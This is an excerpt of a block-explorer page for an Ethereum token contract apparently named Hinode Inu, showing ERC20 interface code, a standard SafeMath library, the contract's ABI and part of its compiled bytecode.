    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 3 of 3: SafeMath.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"dev","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyProjectTax","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"DisabledTransferDelay","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"MarketingWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTx","type":"uint256"}],"name":"MaxTxUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"MaxWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"ProjectWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellProjectTax","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMax","type":"uint256"}],"name":"SwapbackSettingsUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeProjectWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_target","type":"address"}],"name":"checkMappings","outputs":[{"internalType":"bool","name":"_transferTaxExempt","type":"bool"},{"internalType":"bool","name":"_transferLimitExempt","type":"bool"},{"internalType":"bool","name":"_automatedMarketMakerPairs","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"exemptFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"exemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxValues","outputs":[{"internalType":"bool","name":"_limitsEnabled","type":"bool"},{"internalType":"bool","name":"_transferDelayEnabled","type":"bool"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"},{"internalType":"uint256","name":"_maxTx","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiverwallets","outputs":[{"internalType":"address","name":"_marketingWallet","type":"address"},{"internalType":"address","name":"_projectWallet","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_min","type":"uint256"},{"internalType":"uint256","name":"_max","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapbackValues","outputs":[{"internalType":"bool","name":"_swapbackEnabled","type":"bool"},{"internalType":"uint256","name":"_swapBackValueMin","type":"uint256"},{"internalType":"uint256","name":"_swapBackValueMax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"taxSwapThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxValues","outputs":[{"internalType":"uint256","name":"_buyTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_buyMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_buyProjectTax","type":"uint256"},{"internalType":"uint256","name":"_sellTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_sellMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_sellProjectTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526000600860156101000a81548160ff0219169083151502179055506001600b60006101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055506001600c5565013ca6512000600d556000601260006101000a81548160ff021916908315150217905550348015620000a757600080fd5b50604051620062b1380380620062b18339818101604052810190620000cd919062000b0c565b806040518060400160405280600a81526020017f48696e6f646520496e75000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f48494e4f4445000000000000000000000000000000000000000000000000000081525081600390816200014b919062000db8565b5080600490816200015d919062000db8565b50505080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001c1620001b5620004e660201b60201c565b620004ee60201b60201c565b506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620001ee816001620005b460201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060006014905060008060149050600080620002426200066f60201b60201c565b600a6200025091906200102f565b6501d1a94a200062000263919062001080565b90506103e8600a8262000277919062001080565b62000283919062001110565b6010819055506103e8600a826200029b919062001080565b620002a7919062001110565b600f819055506103e8600182620002bf919062001080565b620002cb919062001110565b6009819055506064600282620002e2919062001080565b620002ee919062001110565b600a81905550846015819055508360168190555060165460155462000314919062001148565b60148190555082601881905550816019819055506019546018546200033a919062001148565b60178190555073b30fa23184d080fa7631b9ec13c7f58eb5b00ae0601260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003e93360016200067860201b60201c565b620003fc3060016200067860201b60201c565b6200041161dead60016200067860201b60201c565b62000446601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200067860201b60201c565b62000459336001620005b460201b60201c565b6200046c306001620005b460201b60201c565b6200048161dead6001620005b460201b60201c565b620004b6601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620005b460201b60201c565b620004c7336200073360201b60201c565b620004d93382620007c960201b60201c565b505050505050506200139a565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620005c46200094160201b60201c565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051620006639190620011c2565b60405180910390a25050565b60006009905090565b620006886200094160201b60201c565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620007279190620011c2565b60405180910390a25050565b620007436200094160201b60201c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603620007b5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007ac9062001266565b60405180910390fd5b620007c681620004ee60201b60201c565b50565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200083b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200083290620012d8565b60405180910390fd5b6200084f60008383620009d260201b60201c565b806002600082825462000863919062001148565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620008ba919062001148565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200092191906200130b565b60405180910390a36200093d60008383620009d760201b60201c565b5050565b62000951620004e660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000977620009dc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620009d0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009c79062001378565b60405180910390fd5b565b505050565b505050565b600080620009ef620009f860201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a7957600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000a9d565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ad48262000aa7565b9050919050565b62000ae68162000ac7565b811462000af257600080fd5b50565b60008151905062000b068162000adb565b92915050565b60006020828403121562000b255762000b2462000aa2565b5b600062000b358482850162000af5565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000bc057607f821691505b60208210810362000bd65762000bd562000b78565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c01565b62000c4c868362000c01565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000c9962000c9362000c8d8462000c64565b62000c6e565b62000c64565b9050919050565b6000819050919050565b62000cb58362000c78565b62000ccd62000cc48262000ca0565b84845462000c0e565b825550505050565b600090565b62000ce462000cd5565b62000cf181848462000caa565b505050565b5b8181101562000d195762000d0d60008262000cda565b60018101905062000cf7565b5050565b601f82111562000d685762000d328162000bdc565b62000d3d8462000bf1565b8101602085101562000d4d578190505b62000d6562000d5c8562000bf1565b83018262000cf6565b50505b505050565b600082821c905092915050565b600062000d8d6000198460080262000d6d565b1980831691505092915050565b600062000da8838362000d7a565b9150826002028217905092915050565b62000dc38262000b3e565b67ffffffffffffffff81111562000ddf5762000dde62000b49565b5b62000deb825462000ba7565b62000df882828562000d1d565b600060209050601f83116001811462000e30576000841562000e1b578287015190505b62000e27858262000d9a565b86555062000e97565b601f19841662000e408662000bdc565b60005b8281101562000e6a5784890151825560018201915060208501945060208101905062000e43565b8683101562000e8a578489015162000e86601f89168262000d7a565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000f2d5780860481111562000f055762000f0462000e9f565b5b600185161562000f155780820291505b808102905062000f258562000ece565b945062000ee5565b94509492505050565b60008262000f4857600190506200101b565b8162000f5857600090506200101b565b816001811462000f71576002811462000f7c5762000fb2565b60019150506200101b565b60ff84111562000f915762000f9062000e9f565b5b8360020a91508482111562000fab5762000faa62000e9f565b5b506200101b565b5060208310610133831016604e8410600b841016171562000fec5782820a90508381111562000fe65762000fe562000e9f565b5b6200101b565b62000ffb848484600162000edb565b9250905081840481111562001015576200101462000e9f565b5b81810290505b9392505050565b600060ff82169050919050565b60006200103c8262000c64565b9150620010498362001022565b9250620010787fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f36565b905092915050565b60006200108d8262000c64565b91506200109a8362000c64565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620010d657620010d562000e9f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200111d8262000c64565b91506200112a8362000c64565b9250826200113d576200113c620010e1565b5b828204905092915050565b6000620011558262000c64565b9150620011628362000c64565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200119a576200119962000e9f565b5b828201905092915050565b60008115159050919050565b620011bc81620011a5565b82525050565b6000602082019050620011d96000830184620011b1565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006200124e602683620011df565b91506200125b82620011f0565b604082019050919050565b6000602082019050818103600083015262001281816200123f565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620012c0601f83620011df565b9150620012cd8262001288565b602082019050919050565b60006020820190508181036000830152620012f381620012b1565b9050919050565b620013058162000c64565b82525050565b6000602082019050620013226000830184620012fa565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062001360602083620011df565b91506200136d8262001328565b602082019050919050565b60006020820190508181036000830152620013938162001351565b9050919050565b608051614ee6620013cb6000396000818161227d0152818161339a0152818161347b01526134a20152614ee66000f3fe6080604052600436106102605760003560e01c806395d89b4111610144578063c2b7bbb6116100b6578063e884f2601161007a578063e884f260146108f6578063f242ab411461090d578063f2fde38b14610938578063f3dc390214610961578063fab82a8e14610991578063fcbb7607146109bd57610267565b8063c2b7bbb614610811578063d08893581461083a578063db05e5cb14610863578063dd62ed3e1461087a578063e13b2007146108b757610267565b8063a061e0c311610108578063a061e0c3146106dd578063a457c2d71461071a578063a4c82a0014610757578063a9059cbb14610782578063ad296d9d146107bf578063bb85c6d1146107e857610267565b806395d89b411461060e57806399e5b5c8146106395780639a7a23d6146106625780639b6b54991461068b5780639fe64094146106b457610267565b806331f81511116101dd5780635580145f116101a15780635580145f1461051057806370a0823114610539578063715018a614610576578063730c18881461058d57806377b5312c146105b65780638da5cb5b146105e357610267565b806331f815111461042857806339509351146104565780634ada218b146104935780634b896a3e146104be57806352d65858146104e757610267565b806326ededb81161022457806326ededb814610367578063293230b8146103905780632c3e486c146103a75780632e82f1a0146103d2578063313ce567146103fd57610267565b806306fdde031461026c578063095ea7b31461029757806318160ddd146102d4578063199ffc72146102ff57806323b872dd1461032a57610267565b3661026757005b600080fd5b34801561027857600080fd5b506102816109e6565b60405161028e91906136a5565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b99190613765565b610a78565b6040516102cb91906137c0565b60405180910390f35b3480156102e057600080fd5b506102e9610a96565b6040516102f691906137ea565b60405180910390f35b34801561030b57600080fd5b50610314610aa0565b60405161032191906137ea565b60405180910390f35b34801561033657600080fd5b50610351600480360381019061034c9190613805565b610aa6565b60405161035e91906137c0565b60405180910390f35b34801561037357600080fd5b5061038e600480360381019061038991906138bd565b610b9e565b005b34801561039c57600080fd5b506103a5610c7b565b005b3480156103b357600080fd5b506103bc610ce8565b6040516103c991906137ea565b60405180910390f35b3480156103de57600080fd5b506103e7610cee565b6040516103f491906137c0565b60405180910390f35b34801561040957600080fd5b50610412610d01565b60405161041f9190613939565b60405180910390f35b34801561043457600080fd5b5061043d610d0a565b60405161044d9493929190613954565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613765565b610d44565b60405161048a91906137c0565b60405180910390f35b34801561049f57600080fd5b506104a8610df0565b6040516104b591906137c0565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613999565b610e03565b005b3480156104f357600080fd5b5061050e600480360381019061050991906139c6565b610eb1565b005b34801561051c57600080fd5b5061053760048036038101906105329190613999565b610f68565b005b34801561054557600080fd5b50610560600480360381019061055b9190613a06565b611016565b60405161056d91906137ea565b60405180910390f35b34801561058257600080fd5b5061058b61105e565b005b34801561059957600080fd5b506105b460048036038101906105af9190613a5f565b611072565b005b3480156105c257600080fd5b506105cb61113e565b6040516105da93929190613ab2565b60405180910390f35b3480156105ef57600080fd5b506105f8611164565b6040516106059190613af8565b60405180910390f35b34801561061a57600080fd5b5061062361118e565b60405161063091906136a5565b60405180910390f35b34801561064557600080fd5b50610660600480360381019061065b9190613a06565b611220565b005b34801561066e57600080fd5b5061068960048036038101906106849190613b13565b6112e8565b005b34801561069757600080fd5b506106b260048036038101906106ad9190613b13565b61138e565b005b3480156106c057600080fd5b506106db60048036038101906106d691906139c6565b61143f565b005b3480156106e957600080fd5b5061070460048036038101906106ff9190613a06565b6114f6565b60405161071191906137c0565b60405180910390f35b34801561072657600080fd5b50610741600480360381019061073c9190613765565b61154c565b60405161074e91906137c0565b60405180910390f35b34801561076357600080fd5b5061076c611637565b60405161077991906137ea565b60405180910390f35b34801561078e57600080fd5b506107a960048036038101906107a49190613765565b61163d565b6040516107b691906137c0565b60405180910390f35b3480156107cb57600080fd5b506107e660048036038101906107e19190613b53565b61165b565b005b3480156107f457600080fd5b5061080f600480360381019061080a9190613a06565b611708565b005b34801561081d57600080fd5b5061083860048036038101906108339190613a06565b6117d0565b005b34801561084657600080fd5b50610861600480360381019061085c9190613bb3565b61181c565b005b34801561086f57600080fd5b50610878611951565b005b34801561088657600080fd5b506108a1600480360381019061089c9190613c06565b6119a3565b6040516108ae91906137ea565b60405180910390f35b3480156108c357600080fd5b506108de60048036038101906108d99190613a06565b611a2a565b6040516108ed93929190613c46565b60405180910390f35b34